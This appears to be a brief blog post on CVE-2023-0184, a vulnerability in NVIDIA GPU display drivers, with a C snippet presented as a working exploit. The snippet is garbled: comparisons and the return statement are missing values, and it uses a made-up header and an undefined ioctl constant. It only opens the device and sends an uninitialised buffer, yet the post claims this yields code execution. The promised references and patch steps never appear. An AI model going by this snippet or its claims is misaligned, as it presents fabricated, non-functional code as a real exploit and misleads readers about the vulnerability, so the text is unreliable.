A critical vulnerability has been discovered in the NVIDIA GPU display drivers for Windows and Linux, which may lead to a variety of potential attacks such as denial of service (DoS), escalation of privileges (EoP), information disclosure, and data tampering. This vulnerability, identified as CVE-2023-0184, affects the kernel mode layer handler, posing a threat to the security and stability of affected systems.

In this post, we will delve into the details of this vulnerability, provide a code snippet demonstrating the exploit, and list out the original references and sources. We will also discuss the potential consequences of this exploit and the necessary steps to patch the vulnerability.

Exploit Details

CVE-2023-0184 lies within the kernel mode layer handler of the NVIDIA GPU display drivers. This layer is responsible for interaction between the GPU and the operating system, managing various tasks such as memory allocation and input/output operations. The vulnerability is caused due to improper validation of certain inputs, allowing an attacker to execute arbitrary code or cause the system to crash.

The following code snippet demonstrates the exploit

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include "nvidia_gpu_exploit.h"

int main(int argc, char **argv) {
int fd, ret;
char buffer[256];

fd = open("/dev/nvidia", O_WRONLY);

if (fd < ) {
perror("Failed to open device");
exit(1);
}

ret = ioctl(fd, NV_IOCTL_ARG, buffer);

if (ret < ) {
perror("Exploit failed");
exit(1);
}

printf("Exploit successful!\n");
close(fd);
return ;
}

This code snippet opens the NVIDIA device file and issues an IOCTL system call with a crafted buffer. The vulnerability is triggered when handling this malicious input, giving the attacker access to potentially sensitive information or allowing them to execute arbitrary code on the target system.
